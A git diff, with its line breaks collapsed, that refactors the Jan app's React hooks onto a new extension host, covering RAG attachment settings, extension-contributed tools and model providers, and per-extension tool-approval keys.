a/web-app/src/hooks/useAppState.ts b/web-app/src/hooks/useAppState.tsindex 6efacdae3..069677876 100644--- a/web-app/src/hooks/useAppState.ts+++ b/web-app/src/hooks/useAppState.ts@@ -1,6 +1,7 @@import { create } from 'zustand'import { ThreadMessage } from '@janhq/core'import { MCPTool } from '@/types/completion'+import type { ExtensionTool } from '@/lib/extensions/tools'export type PromptProgress = {cache: number@@ -35,6 +36,8 @@ type AppState = {tools: MCPTool[]ragToolNames: Set<string>mcpToolNames: Set<string>+ /** Tools contributed by extensions, under their wire names. */+ extensionTools: ExtensionTool[]serverStatus: 'running' | 'stopped' | 'pending'abortControllers: Record<string, AbortController>showOutOfContextDialog?: boolean@@ -71,6 +74,7 @@ type AppState = {updateTools: (tools: MCPTool[]) => voidupdateRagToolNames: (names: string[]) => voidupdateMcpToolNames: (names: string[]) => void+ updateExtensionTools: (tools: ExtensionTool[]) => voidsetAbortController: (threadId: string, controller: AbortController) => voidclearAppState: () => voidsetOutOfContextDialog: (show: boolean) => void@@ -122,6 +126,7 @@ export const useAppState = create<AppState>()((set) => ({tools: [],ragToolNames: new Set<string>(),mcpToolNames: new Set<string>(),+ extensionTools: [],serverStatus: 'stopped',abortControllers: {},promptProgress: undefined,@@ -181,6 +186,9 @@ export const useAppState = create<AppState>()((set) => ({updateMcpToolNames: (names) => {set({ mcpToolNames: new Set(names) })},+ updateExtensionTools: (tools) => {+ set({ extensionTools: tools })+ },setServerStatus: (value) => set({ serverStatus: value }),setAbortController: (threadId, controller) => {set((state) => ({diff --git a/web-app/src/hooks/useAttachmentNames.ts b/web-app/src/hooks/useAttachmentNames.tsindex a17faf11a..efa8e605f 100644--- a/web-app/src/hooks/useAttachmentNames.ts+++ b/web-app/src/hooks/useAttachmentNames.ts@@ -1,7 +1,7 @@import { useEffect } from 'react'import { create } from 'zustand'-import { ExtensionTypeEnum, VectorDBExtension } from '@janhq/core'-import { ExtensionManager } from '@/lib/extension'+import { ServiceKeys } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'type AttachmentNamesState = {byId: Record<string, string>@@ -25,13 +25,12 @@ export const useAttachmentNamesStore = create<AttachmentNamesState>(if (state.loadedScopes[key] || state.loading[key]) returnset((s) => ({ loading: { ...s.loading, [key]: true } }))- const ext = ExtensionManager.getInstance().get<VectorDBExtension>(- ExtensionTypeEnum.VectorDB- )- const fetcher =- scope === 'project'- ? ext?.listAttachmentsForProject?.bind(ext)- : ext?.listAttachments?.bind(ext)+ const vectorDB = getExtensionHost().services.get(ServiceKeys.VectorDB)+ const fetcher = vectorDB+ ? scope === 'project'+ ? vectorDB.listAttachmentsForProject.bind(vectorDB)+ : vectorDB.listAttachments.bind(vectorDB)+ : undefinedif (!fetcher) {set((s) => ({diff --git a/web-app/src/hooks/useAttachments.ts b/web-app/src/hooks/useAttachments.tsindex b0fba5dcd..f0ea57328 100644--- a/web-app/src/hooks/useAttachments.ts+++ b/web-app/src/hooks/useAttachments.ts@@ -1,10 +1,10 @@import { create } from 'zustand'-import { ExtensionManager } from '@/lib/extension'-import {- ExtensionTypeEnum,- type RAGExtension,- type SettingComponentProps,-} from '@janhq/core'+import type { SettingComponentProps } from '@janhq/core'+import type { SettingContribution, SettingValue } from '@janhq/extension-api'+import { getExtensionHost } from '@/lib/extensions/host'++/** The rag built-in, whose settings these are. */+export const RAG_EXTENSION_ID = 'jan.rag'export type AttachmentsSettings = {enabled: boolean@@ -22,302 +22,191 @@ type AttachmentsStore = AttachmentsSettings & {// Dynamic controller definitions for rendering UIsettingsDefs: SettingComponentProps[]loadSettingsDefs: () => Promise<boolean>- setEnabled: (v: boolean) => void- setMaxFileSizeMB: (v: number) => void- setRetrievalLimit: (v: number) => void- setRetrievalThreshold: (v: number) => void- setChunkSizeChars: (v: number) => void- setOverlapChars: (v: number) => void- setSearchMode: (v: 'auto' | 'ann' | 'linear') => void- setParseMode: (v: 'auto' | 'inline' | 'embeddings' | 'prompt') => void- setAutoInlineContextRatio: (v: number) => void+ setEnabled: (v: boolean) => Promise<void>+ setMaxFileSizeMB: (v: number) => Promise<void>+ setRetrievalLimit: (v: number) => Promise<void>+ setRetrievalThreshold: (v: number) => Promise<void>+ setChunkSizeChars: (v: number) => Promise<void>+ setOverlapChars: (v: number) => Promise<void>+ setSearchMode: (v: 'auto' | 'ann' | 'linear') => Promise<void>+ setParseMode: (v: 'auto' | 'inline' | 'embeddings' | 'prompt') => Promise<void>+ setAutoInlineContextRatio: (v: number) => Promise<void>}-const getRagExtension = (): RAGExtension | undefined => {- try {- return ExtensionManager.getInstance().get<RAGExtension>(- ExtensionTypeEnum.RAG- )- } catch {- return undefined- }+// Setting key -> store field and the i18n stem of its title/description.+const FIELDS: Record<string, { field: keyof AttachmentsSettings; i18n: string }> = {+ enabled: { field: 'enabled', i18n: 'enable' },+ parse_mode: { field: 'parseMode', i18n: 'parseMode' },+ auto_inline_context_ratio: {+ field: 'autoInlineContextRatio',+ i18n: 'autoInlineThreshold',+ },+ max_file_size_mb: { field: 'maxFileSizeMB', i18n: 'maxFile' },+ retrieval_limit: { field: 'retrievalLimit', i18n: 'topK' },+ retrieval_threshold: { field: 'retrievalThreshold', i18n: 'threshold' },+ chunk_size_chars: { field: 'chunkSizeChars', i18n: 'chunkSize' },+ overlap_chars: { field: 'overlapChars', i18n: 'chunkOverlap' },+ search_mode: { field: 'searchMode', i18n: 'searchMode' },}-export const useAttachments = create<AttachmentsStore>()((set) => ({- enabled: true,- maxFileSizeMB: 100,- retrievalLimit: 3,- retrievalThreshold: 0.3,- chunkSizeChars: 512,- overlapChars: 64,- searchMode: 'auto',- parseMode: 'auto',- autoInlineContextRatio: 0.75,- settingsDefs: [],- loadSettingsDefs: async () => {- const ext = getRagExtension()- if (!ext?.getSettings) return false- try {- const defs = await ext.getSettings()- if (!Array.isArray(defs)) return false+/**+ * The page's controller definition of a declared setting. Numeric settings+ * are sliders in the manifest (so the store range-checks them) but render+ * here as number inputs, as the page always has.+ */+function toDef(+ setting: SettingContribution,+ value: SettingValue+): SettingComponentProps {+ const i18n = FIELDS[setting.key]?.i18n+ const base = {+ key: setting.key,+ title: setting.title,+ description: setting.description ?? '',+ titleKey: i18n ? `settings:attachments.${i18n}` : undefined,+ descriptionKey: i18n ? `settings:attachments.${i18n}Desc` : undefined,+ }+ const { control } = setting+ switch (control.type) {+ case 'checkbox':+ return { ...base, controllerType: 'checkbox', controllerProps: { value: Boolean(value) } }+ case 'dropdown':+ return {+ ...base,+ controllerType: 'dropdown',+ controllerProps: {+ value: String(value),+ options: control.options.map((o) => ({ name: o.label, value: o.value })),+ },+ }+ case 'slider':+ return {+ ...base,+ controllerType: 'input',+ // The number itself, as the legacy definitions held it.+ controllerProps: {+ value,+ placeholder: '',+ type: 'number',+ textAlign: 'right',+ min: control.min,+ max: control.max,+ step: control.step,+ } as SettingComponentProps['controllerProps'],+ }+ default:+ return {+ ...base,+ controllerType: 'input',+ controllerProps: { value: String(value), placeholder: '' },+ }+ }+}- const map = new Map<string, unknown>()- defs.forEach((setting) =>- map.set(setting.key, setting?.controllerProps?.value)- )+const declaredSettings = (): SettingContribution[] =>+ getExtensionHost()+ .list()+ .find((e) => e.id === RAG_EXTENSION_ID && e.state === 'active')?.manifest+ .contributes?.settings ?? []- set((prev) => ({- settingsDefs: defs,- enabled: (map.get('enabled') as boolean | undefined) ?? prev.enabled,- maxFileSizeMB:- (map.get('max_file_size_mb') as number | undefined) ??- prev.maxFileSizeMB,- retrievalLimit:- (map.get('retrieval_limit') as number | undefined) ??- prev.retrievalLimit,- retrievalThreshold:- (map.get('retrieval_threshold') as number | undefined) ??- prev.retrievalThreshold,- chunkSizeChars:- (map.get('chunk_size_chars') as number | undefined) ??- (map.get('chunk_size_tokens') as number | undefined) ??- prev.chunkSizeChars,- overlapChars:- (map.get('overlap_chars') as number | undefined) ??- (map.get('overlap_tokens') as number | undefined) ??- prev.overlapChars,- searchMode:- (map.get('search_mode') as 'auto' | 'ann' | 'linear' | undefined) ??- prev.searchMode,- parseMode:- (map.get('parse_mode') as- | 'auto'- | 'inline'- | 'embeddings'- | 'prompt'- | undefined) ?? prev.parseMode,- autoInlineContextRatio:- (map.get('auto_inline_context_ratio') as number | undefined) ??- prev.autoInlineContextRatio,- }))+const withValue = (+ defs: SettingComponentProps[],+ key: string,+ value: SettingValue+): SettingComponentProps[] =>+ defs.map((d) =>+ d.key === key+ ? ({+ ...d,+ controllerProps: { ...d.controllerProps, value },+ } as SettingComponentProps)+ : d+ )- return true+export const useAttachments = create<AttachmentsStore>()((set) => {+ // The store updates from the settings change event, so an edit made on+ // Settings > Extensions shows here too. The page calls these without+ // awaiting, so a refused write is logged rather than rejected.+ const persist = async (key: string, value: SettingValue) => {+ try {+ await getExtensionHost().settings.setSettingValue(RAG_EXTENSION_ID, key, value)} catch (e) {- console.debug('Failed to load attachment settings defs:', e)- return false- }- },- setEnabled: async (v) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'enabled',- controllerProps: { value: !!v },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- enabled: v,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'enabled'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: !!v },- } as SettingComponentProps)- : d- ),- }))- },- setMaxFileSizeMB: async (val) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'max_file_size_mb',- controllerProps: { value: val },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- maxFileSizeMB: val,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'max_file_size_mb'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: val },- } as SettingComponentProps)- : d- ),- }))- },- setRetrievalLimit: async (val) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'retrieval_limit',- controllerProps: { value: val },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- retrievalLimit: val,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'retrieval_limit'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: val },- } as SettingComponentProps)- : d- ),- }))- },- setRetrievalThreshold: async (val) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'retrieval_threshold',- controllerProps: { value: val },- } as Partial<SettingComponentProps>,- ])+ console.error(`Failed to save attachment setting '${key}':`, e)}- set((s) => ({- retrievalThreshold: val,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'retrieval_threshold'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: val },- } as SettingComponentProps)- : d- ),- }))- },- setChunkSizeChars: async (val) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'chunk_size_chars',- controllerProps: { value: val },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- chunkSizeChars: val,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'chunk_size_chars'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: val },- } as SettingComponentProps)- : d- ),- }))- },- setOverlapChars: async (val) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'overlap_chars',- controllerProps: { value: val },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- overlapChars: val,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'overlap_chars'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: val },- } as SettingComponentProps)- : d- ),- }))- },- setSearchMode: async (v) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'search_mode',- controllerProps: { value: v },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- searchMode: v,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'search_mode'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: v },- } as SettingComponentProps)- : d- ),- }))- },- setParseMode: async (v) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'parse_mode',- controllerProps: { value: v },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- parseMode: v,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'parse_mode'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: v },- } as SettingComponentProps)- : d- ),- }))- },- setAutoInlineContextRatio: async (val) => {- const ext = getRagExtension()- if (ext?.updateSettings) {- await ext.updateSettings([- {- key: 'auto_inline_context_ratio',- controllerProps: { value: val },- } as Partial<SettingComponentProps>,- ])- }- set((s) => ({- autoInlineContextRatio: val,- settingsDefs: s.settingsDefs.map((d) =>- d.key === 'auto_inline_context_ratio'- ? ({- ...d,- controllerProps: { ...d.controllerProps, value: val },- } as SettingComponentProps)- : d- ),- }))- },-}))+ }+ return {+ enabled: true,+ maxFileSizeMB: 100,+ retrievalLimit: 3,+ retrievalThreshold: 0.3,+ chunkSizeChars: 512,+ overlapChars: 64,+ searchMode: 'auto',+ parseMode: 'auto',+ autoInlineContextRatio: 0.75,+ settingsDefs: [],+ loadSettingsDefs: async () => {+ const declared = declaredSettings()+ if (declared.length === 0) return false+ try {+ const store = getExtensionHost().settings+ const values = await Promise.all(+ declared.map(+ async (s) =>+ [s, (await store.getSettingValue(RAG_EXTENSION_ID, s.key)) ?? s.control.default] as const+ )+ )+ const patch: Partial<AttachmentsSettings> = {}+ for (const [s, value] of values) {+ const field = FIELDS[s.key]?.field+ if (field) Object.assign(patch, { [field]: value })+ }+ set({ ...patch, settingsDefs: values.map(([s, v]) => toDef(s, v)) })+ return true+ } catch (e) {+ console.debug('Failed to load attachment settings defs:', e)+ return false+ }+ },+ setEnabled: (v) => persist('enabled', !!v),+ setMaxFileSizeMB: (v) => persist('max_file_size_mb', v),+ setRetrievalLimit: (v) => persist('retrieval_limit', v),+ setRetrievalThreshold: (v) => persist('retrieval_threshold', v),+ setChunkSizeChars: (v) => persist('chunk_size_chars', v),+ setOverlapChars: (v) => persist('overlap_chars', v),+ setSearchMode: (v) => persist('search_mode', v),+ setParseMode: (v) => persist('parse_mode', v),+ setAutoInlineContextRatio: (v) => persist('auto_inline_context_ratio', v),+ }+})++function applyChange(key: string, value: SettingValue) {+ const field = FIELDS[key]?.field+ if (!field) return+ useAttachments.setState((s) => ({+ [field]: value,+ settingsDefs: withValue(s.settingsDefs, key, value),+ }))+}-// Attempt to hydrate settings from the RAG extension, retrying briefly until it is registered-const MAX_INIT_ATTEMPTS = 5-const INIT_RETRY_DELAY_MS = 300-export const initAttachments = async () => {- for (let i = 0; i < MAX_INIT_ATTEMPTS; i += 1) {- const success = await useAttachments.getState().loadSettingsDefs()- if (success) return- await new Promise((resolve) => setTimeout(resolve, INIT_RETRY_DELAY_MS))+/**+ * Follows the rag built-in: loads its settings once it is active (and+ * again whenever the host's extensions change), then every change to them.+ */+export function initAttachments(): () => void {+ const host = getExtensionHost()+ const load = () => void useAttachments.getState().loadSettingsDefs()+ const extensions = host.onDidChange(load)+ const changes = host.settings.onDidChange((change) => {+ if (change.extensionId === RAG_EXTENSION_ID) applyChange(change.key, change.value)+ })+ load()+ return () => {+ extensions.dispose()+ changes.dispose()}}if (process.env.NODE_ENV !== 'test') {- void initAttachments()+ initAttachments()}diff --git a/web-app/src/hooks/useExtensionProviders.ts b/web-app/src/hooks/useExtensionProviders.tsnew file mode 100644index 000000000..750feba7b--- /dev/null+++ b/web-app/src/hooks/useExtensionProviders.ts@@ -0,0 +1,84 @@+import { useEffect } from 'react'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'+import { useModelProvider } from '@/hooks/useModelProvider'+import { useContributions } from '@/lib/extensions/contributions'+import { getExtensionHost } from '@/lib/extensions/host'+import {+ listExtensionProviders,+ toModelProvider,+ type ActiveExtensionProvider,+} from '@/lib/extensions/providers'++async function resolve(provider: ActiveExtensionProvider): Promise<ModelProvider> {+ const host = getExtensionHost()+ const { extensionId, contribution } = provider+ const [models, apiKey] = await Promise.all([+ host.listProviderModels(extensionId, contribution.id).catch((error) => {+ console.warn(+ `Provider '${contribution.id}' of '${extensionId}' failed to list models:`,+ error+ )+ return undefined+ }),+ contribution.apiKeySetting+ ? host.settings.getSettingValue(extensionId, contribution.apiKeySetting)+ : undefined,+ ])+ return toModelProvider(+ provider,+ models ?? [],+ typeof apiKey === 'string' ? apiKey : undefined+ )+}++/**+ * Mirrors the providers extensions contribute into `useModelProvider`, so+ * they show up in the model picker; inference with them runs on their+ * extension's network path (`extensionProviderFetch`). A provider leaves+ * the list when its extension releases it or stops; a change of its API+ * key setting refreshes it, and a language change renames it.+ */+export function useExtensionProviders() {+ useEffect(() => {+ let generation = 0+ let previous = ''+ const sync = async () => {+ const providers = listExtensionProviders(useContributions.getState())+ const key = JSON.stringify(providers)+ if (key === previous) return+ previous = key+ const current = ++generation+ const resolved = await Promise.all(providers.map(resolve))+ // A newer sync started while this one awaited extension calls.+ if (current !== generation) return+ useModelProvider.setState((state) => ({+ providers: [+ ...state.providers.filter((p) => !p.source),+ ...resolved,+ ],+ }))+ }+ void sync()+ const unsubscribe = useContributions.subscribe(() => void sync())+ // Names are resolved in `sync`; the comparison key skips a no-op.+ const language = useGeneralSetting.subscribe(+ (s, prev) => s.currentLanguage !== prev.currentLanguage && void sync()+ )+ const settings = getExtensionHost().settings.onDidChange((change) => {+ const isKey = listExtensionProviders(useContributions.getState()).some(+ (p) =>+ p.extensionId === change.extensionId &&+ p.contribution.apiKeySetting === change.key+ )+ if (!isKey) return+ previous = ''+ void sync()+ })+ return () => {+ unsubscribe()+ language()+ settings.dispose()+ generation+++ }+ }, [])+}diff --git a/web-app/src/hooks/useGeneralSetting.ts b/web-app/src/hooks/useGeneralSetting.tsindex e5cf3456f..a830ebc00 100644--- a/web-app/src/hooks/useGeneralSetting.ts+++ b/web-app/src/hooks/useGeneralSetting.ts@@ -3,9 +3,8 @@ import { persist, createJSONStorage } from 'zustand/middleware'import { localStorageKey } from '@/constants/localStorage'import { backendStorage } from '@/lib/backendStorage'import { getServiceHub } from '@/hooks/useServiceHub'-import { ExtensionManager } from '@/lib/extension'+import { HUGGINGFACE_TOKEN_SECRET_KEY } from '@janhq/core'-export const HUGGINGFACE_TOKEN_SECRET_KEY = 'huggingface'type GeneralSettingState = {currentLanguage: LanguagespellCheckChatInput: boolean@@ -38,7 +37,7 @@ export const useGeneralSetting = create<GeneralSettingState>()(setCurrentLanguage: (value) => set({ currentLanguage: value }),setHuggingfaceToken: (token) => {set({ huggingfaceToken: token })- // Canonical secret store is the OS keyring, not settings storage.+ // The OS keyring is the only copy; downloads read it from there.getServiceHub().core().invoke('set_secret', {@@ -48,25 +47,6 @@ export const useGeneralSetting = create<GeneralSettingState>()(.catch((err) =>console.warn('Failed to persist huggingface token to keyring:', err))- ExtensionManager.getInstance()- .getByName('@janhq/download-extension')- ?.getSettings()- .then((settings) => {- if (settings) {- const newSettings = settings.map((e) => {- if (e.key === 'hf-token') {- e.controllerProps.value = token- }- return e- })- ExtensionManager.getInstance()- .getByName('@janhq/download-extension')- ?.updateSettings(newSettings)- }- })- .catch((err) => {- console.warn('Failed to persist huggingface token:', err)- })},}),{diff --git a/web-app/src/hooks/useHardware.ts b/web-app/src/hooks/useHardware.tsindex 22305b39b..184b63171 100644--- a/web-app/src/hooks/useHardware.ts+++ b/web-app/src/hooks/useHardware.ts@@ -25,16 +25,17 @@ export interface GPU {uuid: stringdriver_version: stringactivated?: boolean+ // Null when the GPU is not visible to that API.nvidia_info: {index: numbercompute_capability: string- }+ } | nullvulkan_info: {index: numberdevice_id: numberdevice_type: stringapi_version: string- }+ } | null}export interface OS {diff --git a/web-app/src/hooks/useModelProvider.ts b/web-app/src/hooks/useModelProvider.tsindex cd78424ad..5e444cc86 100644--- a/web-app/src/hooks/useModelProvider.ts+++ b/web-app/src/hooks/useModelProvider.ts@@ -340,10 +340,13 @@ export const useModelProvider = create<ModelProviderState>()(storage: createJSONStorage(() => backendStorage),// Async backend storage; hydrate explicitly after ServiceHub init.skipHydration: true,- // Never persist API keys — they live in the OS keyring only.+ // Never persist API keys - they live in the OS keyring only - nor+ // extension providers, which exist only while their extension runs.partialize: (state) => ({...state,- providers: state.providers.map(stripProviderSecrets),+ providers: state.providers+ .filter((p) => !p.source)+ .map(stripProviderSecrets),}),migrate: (persistedState: unknown, version: number) => {const state = persistedState as ModelProviderState & {diff --git a/web-app/src/hooks/useReconcileVideoCapability.ts b/web-app/src/hooks/useReconcileVideoCapability.tsindex fe9dc1ec5..e939ae838 100644--- a/web-app/src/hooks/useReconcileVideoCapability.ts+++ b/web-app/src/hooks/useReconcileVideoCapability.ts@@ -1,5 +1,5 @@import { useEffect } from 'react'-import { ExtensionManager } from '@/lib/extension'+import { getLlamacppExtension } from '@/lib/llamacppRouterProps'import { useModelProvider } from './useModelProvider'// `/props.modalities.video` is the only authoritative signal for video input:@@ -8,27 +8,6 @@ import { useModelProvider } from './useModelProvider'// it once the model is loaded into the router, so video capability is// reconciled here (post-load) rather than derived offline at list time.-type ModalitiesProps = {- modalities?: { vision: boolean; video: boolean; audio: boolean }-}--type LlamacppLike = {- getModelProps?: (modelId: string) => Promise<ModalitiesProps | undefined>-}--const getLlamacppExtension = (): LlamacppLike | undefined => {- const mgr = ExtensionManager.getInstance()- const candidates = [- mgr.getByName('@janhq/llamacpp-extension'),- mgr.getByName('llamacpp-extension'),- ]- for (const c of candidates) {- if (c && typeof (c as LlamacppLike).getModelProps === 'function')- return c as LlamacppLike- }- return undefined-}-/*** Reconcile the selected llamacpp model's `video` capability against the* router's `/props`. Runs whenever the model or `trigger` (e.g. chat status)@@ -43,7 +22,7 @@ export function useReconcileVideoCapability(useEffect(() => {if (selectedProvider !== 'llamacpp' || !modelId) returnconst ext = getLlamacppExtension()- if (!ext?.getModelProps) return+ if (!ext) returnlet cancelled = falseextdiff --git a/web-app/src/hooks/useThreads.ts b/web-app/src/hooks/useThreads.tsindex f73fc3c47..ef85086e0 100644--- a/web-app/src/hooks/useThreads.ts+++ b/web-app/src/hooks/useThreads.ts@@ -4,8 +4,8 @@ import { getServiceHub } from '@/hooks/useServiceHub'import { Fzf } from 'fzf'import { TEMPORARY_CHAT_ID } from '@/constants/chat'import { useAgentMode } from '@/hooks/useAgentMode'-import { ExtensionManager } from '@/lib/extension'-import { ExtensionTypeEnum, VectorDBExtension } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'+import { ServiceKeys } from '@janhq/core'import { useChatSessions } from '@/stores/chat-session-store'import { useAppState } from '@/hooks/useAppState'import { cleanupThreadWorkspace } from '@/lib/agentTools'@@ -45,12 +45,9 @@ type ThreadState = {// Helper function to clean up vector DB collection for a threadconst cleanupVectorDB = async (threadId: string) => {try {- const vec = ExtensionManager.getInstance().get<VectorDBExtension>(- ExtensionTypeEnum.VectorDB+ await getExtensionHost().services.get(ServiceKeys.VectorDB)?.deleteCollection(+ `attachments_${threadId}`)- if (vec?.deleteCollection) {- await vec.deleteCollection(`attachments_${threadId}`)- }} catch (e) {console.warn(`[Threads] Failed to delete vector DB collection for thread ${threadId}:`,diff --git a/web-app/src/hooks/useTokensCount.ts b/web-app/src/hooks/useTokensCount.tsindex 1d61e20a6..d9967e40a 100644--- a/web-app/src/hooks/useTokensCount.ts+++ b/web-app/src/hooks/useTokensCount.ts@@ -1,14 +1,11 @@import { useEffect, useMemo, useRef, useState } from 'react'-import { ThreadMessage } from '@janhq/core'+import { ThreadMessage, type LocalModelProps } from '@janhq/core'import { parseContextOverflow } from '@/utils/error'-import {- getLocalPropsExtension,- type LlamacppModelProps,-} from '@/lib/llamacppRouterProps'+import { getLocalPropsExtension } from '@/lib/llamacppRouterProps'import { useModelProvider } from './useModelProvider'import { useAppState } from './useAppState'-export type ModelProps = LlamacppModelProps+export type ModelProps = LocalModelPropsexport interface TokenCountData {tokenCount: numberdiff --git a/web-app/src/hooks/useToolApprovalRequests.ts b/web-app/src/hooks/useToolApprovalRequests.tsindex eea59af6a..d1704b7ab 100644--- a/web-app/src/hooks/useToolApprovalRequests.ts+++ b/web-app/src/hooks/useToolApprovalRequests.ts@@ -1,5 +1,6 @@import { create } from 'zustand'import { useToolApproval } from './useToolApproval'+import { EXTENSION_SERVER_PREFIX } from '@/lib/extensions/tools'export type PendingApproval = {toolCallId: string@@ -36,6 +37,17 @@ type ToolApprovalRequestsState = {clearPendingForThread: (threadId: string) => void}+/**+ * The name a grant is recorded under. A contributed tool is keyed by its+ * `ext:<id>` server as well, so a thread or global grant can never cover+ * a same-named tool of another extension or of an MCP server.+ */+const approvalKey = (toolName: string, serverName?: string) =>+ isExtensionServer(serverName) ? `${serverName}/${toolName}` : toolName++const isExtensionServer = (serverName?: string): serverName is string =>+ serverName?.startsWith(EXTENSION_SERVER_PREFIX) ?? false+export const useToolApprovalRequests = create<ToolApprovalRequestsState>()((set, get) => ({pending: {},@@ -43,11 +55,21 @@ export const useToolApprovalRequests = create<ToolApprovalRequestsState>()(requestApproval: (toolCallId, toolName, threadId, serverName) => {return new Promise<boolean>((resolve) => {const settings = useToolApproval.getState()- if (settings.allowAllMCPPermissions) {+ // The shortcut is for MCP; extension tools always go through approval.+ if (+ settings.allowAllMCPPermissions &&+ !isExtensionServer(serverName)+ ) {resolve(true)return}- if (settings.isToolApproved(threadId, toolName, serverName)) {+ if (+ settings.isToolApproved(+ threadId,+ approvalKey(toolName, serverName),+ serverName+ )+ ) {resolve(true)return}@@ -70,13 +92,16 @@ export const useToolApprovalRequests = create<ToolApprovalRequestsState>()(const entry = get().pending[toolCallId]if (!entry) returnconst approval = useToolApproval.getState()+ const key = approvalKey(entry.toolName, entry.serverName)if (decision === 'allow-thread') {- approval.approveToolForThread(entry.threadId, entry.toolName)+ approval.approveToolForThread(entry.threadId, key)} else if (decision === 'allow-always') {- if (entry.serverName) {+ // An MCP server is trusted whole. An extension is not: an update can+ // add tools, and those must ask before they first run.+ if (entry.serverName && !isExtensionServer(entry.serverName)) {approval.approveServer(entry.serverName)} else {- approval.approveToolEverywhere(entry.toolName)+ approval.approveToolEverywhere(key)}}set((s) => {diff --git a/web-app/src/hooks/useToolAvailable.ts b/web-app/src/hooks/useToolAvailable.tsindex bd60f9a4a..2b9c7a088 100644--- a/web-app/src/hooks/useToolAvailable.ts+++ b/web-app/src/hooks/useToolAvailable.ts@@ -13,8 +13,6 @@ type ToolDisabledState = {// Global set of disabled tools (server::tool keys), shared across every chat.// A tool absent from this list is enabled.disabledTools: string[]- // Whether the one-time seed from the MCP extension's defaults has run.- defaultsInitialized: booleansetToolDisabled: (serverName: string,@@ -23,16 +21,12 @@ type ToolDisabledState = {) => voidisToolDisabled: (serverName: string, toolName: string) => booleangetDisabledTools: () => string[]- setDisabledTools: (toolKeys: string[]) => void- isDefaultsInitialized: () => boolean- markDefaultsAsInitialized: () => void}export const useToolAvailable = create<ToolDisabledState>()(persist((set, get) => ({disabledTools: [],- defaultsInitialized: false,setToolDisabled: (serverName, toolName, enabled) => {const toolKey = createToolKey(serverName, toolName)@@ -51,37 +45,24 @@ export const useToolAvailable = create<ToolDisabledState>()(get().disabledTools.includes(createToolKey(serverName, toolName)),getDisabledTools: () => get().disabledTools,-- setDisabledTools: (toolKeys) => set({ disabledTools: toolKeys }),-- isDefaultsInitialized: () => get().defaultsInitialized,- markDefaultsAsInitialized: () => set({ defaultsInitialized: true }),}),{name: localStorageKey.toolAvailability,storage: createJSONStorage(() => backendStorage),skipHydration: true,- partialize: (state) => ({- disabledTools: state.disabledTools,- defaultsInitialized: state.defaultsInitialized,- }),+ partialize: (state) => ({ disabledTools: state.disabledTools }),// v2: tool availability is global, not per-thread. Collapse the old// { disabledTools: threadId->keys, defaultDisabledTools } shape onto the- // previous global default; per-thread overrides are dropped. Any old- // pre-`::` keys force a re-seed from the extension on next boot.+ // previous global default; per-thread overrides and old pre-`::` keys+ // are dropped.migrate: (persistedState: unknown, version: number) => {const state = (persistedState ?? {}) as Record<string, unknown>if (version < 2) {const prevDefault = Array.isArray(state.defaultDisabledTools)? (state.defaultDisabledTools as string[]): []- const clean = prevDefault.filter((k) => !isOldFormatKey(k))return {- disabledTools: clean,- defaultsInitialized:- clean.length === prevDefault.length- ? Boolean(state.defaultsInitialized)- : false,+ disabledTools: prevDefault.filter((k) => !isOldFormatKey(k)),}}return statediff --git a/web-app/src/hooks/useTools.ts b/web-app/src/hooks/useTools.tsindex 9148076c6..734d6168e 100644--- a/web-app/src/hooks/useTools.ts+++ b/web-app/src/hooks/useTools.ts@@ -2,16 +2,17 @@ import { useEffect } from 'react'import { getServiceHub } from '@/hooks/useServiceHub'import { SystemEvent } from '@/types/events'import { useAppState } from './useAppState'-import { useToolAvailable } from './useToolAvailable'-import { ExtensionManager } from '@/lib/extension'-import { ExtensionTypeEnum, MCPExtension } from '@janhq/core'import { mcpOrchestrator } from '@/lib/mcp-orchestrator/mcp-orchestrator'+import { useContributions } from '@/lib/extensions/contributions'+import { listExtensionTools } from '@/lib/extensions/tools'export const useTools = () => {const updateTools = useAppState((state) => state.updateTools)const updateRagToolNames = useAppState((state) => state.updateRagToolNames)const updateMcpToolNames = useAppState((state) => state.updateMcpToolNames)- const { isDefaultsInitialized, setDisabledTools, markDefaultsAsInitialized } = useToolAvailable()+ const updateExtensionTools = useAppState(+ (state) => state.updateExtensionTools+ )useEffect(() => {async function setTools() {@@ -22,11 +23,6 @@ export const useTools = () => {// meantime and destabilizing the KV-cache prefix Jan sends.mcpOrchestrator.invalidateCache()- // Get MCP extension first- const mcpExtension = ExtensionManager.getInstance().get<MCPExtension>(- ExtensionTypeEnum.MCP- )-// Fetch tools and tool names in parallelconst [mcpTools, ragToolNames] = await Promise.all([getServiceHub().mcp().getTools(),@@ -47,15 